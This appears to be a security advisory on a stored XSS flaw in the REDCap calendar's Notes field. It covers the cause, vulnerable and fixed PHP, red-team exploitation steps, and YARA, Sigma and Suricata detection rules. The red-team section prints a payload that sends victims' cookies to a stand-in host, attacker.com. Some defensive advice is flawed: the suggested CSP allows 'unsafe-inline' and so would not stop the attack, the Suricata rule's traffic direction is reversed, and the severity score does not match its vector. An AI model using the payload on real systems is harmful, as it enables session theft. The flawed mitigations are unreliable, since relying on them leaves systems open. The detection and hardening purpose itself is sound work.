CVE-2024-56313

Executive Summary

CVE-2024-56313 is a stored cross-site scripting (XSS) vulnerability in the Calendar feature of REDCap, a widely used electronic data capture tool in clinical research. An authenticated user can inject malicious JavaScript into the Notes field of a calendar event. When another user (including administrators) views the event, the payload executes in their browser, potentially leading to session hijacking, data exfiltration, or further compromise of the REDCap instance. The vulnerability affects all versions up to and including 14.9.6, with no official patch currently available. The CVSS score is 0.0 due to incomplete NVD data, but based on the vector, the severity is medium (4.3). The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the risk remains for targeted attacks.

Supply Chain & Package Security

REDCap is a PHP-based web application distributed as a self-hosted package. The vulnerability is not in a third-party library but in the core application code. No supply chain compromise is involved; however, administrators must manually apply any future patches or workarounds.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability is exploitable over the network.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): Low (L) – Attacker needs a valid REDCap account.
• User Interaction (UI): Required (R) – Victim must view the crafted calendar event.
• Scope (S): Changed (C) – The impact extends beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure possible.
• Integrity (I): Low (L) – Limited ability to modify data.
• Availability (A): None (N) – No impact on availability.

Threat Level: Medium (4.3) – Exploitation requires authentication and user interaction, but the potential for session hijacking and data theft in a research environment elevates the risk.

Deep Dive & Mechanics

The vulnerability resides in the Calendar module of REDCap. When creating or editing a calendar event, the Notes field is not properly sanitized. The application stores user input directly into the database without encoding or filtering HTML/JavaScript. When the event is rendered in the calendar view, the stored payload is executed in the context of the victim’s browser.

Root Cause: Lack of output encoding in the Notes field display. The application uses echo or similar PHP functions to render the notes without applying htmlspecialchars() or equivalent.

Attack Flow:

1. Attacker logs in to REDCap.
2. Attacker creates a new calendar event or edits an existing one.
3. In the Notes field, attacker enters a malicious payload, e.g., <script>alert('XSS')</script>.
4. The payload is stored in the database.
5. Victim (another user or admin) navigates to the calendar and views the event.
6. The browser executes the script, allowing the attacker to steal cookies, perform actions on behalf of the victim, or redirect to a phishing page.

Vulnerable vs. Patched Code

Vulnerable Code (REDCap <= 14.9.6):

// In calendar event display function
echo $event['notes'];

Patched Code (Hypothetical fix):

// Properly encode output
echo htmlspecialchars($event['notes'], ENT_QUOTES, 'UTF-8');

No official patch exists. The fix must be applied manually by modifying the relevant PHP files.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A REDCap instance (version <= 14.9.6)
• Valid user credentials (any role with calendar access)

Exploitation Steps:

1. Log in to REDCap.
2. Navigate to the Calendar module.
3. Click "Add New Event" or edit an existing event.
4. In the Notes field, enter a payload such as:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

5. Save the event.
6. Wait for a victim to view the event. The payload will execute.

Lab Setup:

• Use a local Docker instance of REDCap (e.g., redcap/redcap:14.9.6).
• Set up a listener (e.g., Netcat or a simple HTTP server) to capture exfiltrated data.

Blue Team

Detection:

• Monitor for unusual calendar event creation or modification, especially with script-like content in notes.
• Use WAF rules to block XSS payloads in POST requests to calendar endpoints.
• Implement Content Security Policy (CSP) headers to mitigate script execution.

Hunting:

• Search database for <script> tags in the redcap_calendar_events table.
• Review web server logs for requests to /redcap/calendar/ with suspicious parameters.

Indicators of Compromise (IOCs)

• Network: Outbound HTTP requests to unknown domains from REDCap server.
• Host: Presence of <script> tags in the notes column of the redcap_calendar_events table.
• Logs: Web server logs showing POST requests to calendar endpoints with encoded JavaScript.
• File: Modified PHP files (if attacker attempts to persist access).

Detection Engineering

YARA Rule

rule CVE_2024_56313_XSS_Calendar {
    meta:
        description = "Detects stored XSS payloads in REDCap calendar notes"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-56313"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/is
        $event_notes = /notes.*?<script/is
    condition:
        $xss_payload or $event_notes
}

Sigma Rule

title: REDCap Calendar Stored XSS
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects potential XSS payloads in REDCap calendar event notes
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri|contains: '/redcap/calendar/'
        cs-uri-query|contains: 
            - '<script'
            - 'onerror='
            - 'onload='
    condition: selection
falsepositives:
    - Legitimate use of HTML in notes (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"REDCap Calendar Stored XSS Payload"; flow:to_server,established; content:"POST"; http_method; content:"/redcap/calendar/"; http_uri; pcre:"/<script[^>]*>.*?<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Input Sanitization: Modify the PHP code to use htmlspecialchars() when displaying notes.
2. Content Security Policy: Add CSP header to restrict script execution:

   Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval'; style-src 'self' 'unsafe-inline';
   

3. Web Application Firewall: Deploy WAF rules to block XSS patterns in calendar endpoints.

Long-Term Fix:

• Wait for an official patch from the REDCap team. Monitor their GitHub or mailing list for updates.
• Upgrade to a patched version when available.

Workaround:

• Disable the Calendar module if not essential.
• Restrict calendar event creation to trusted users only.

Valters IT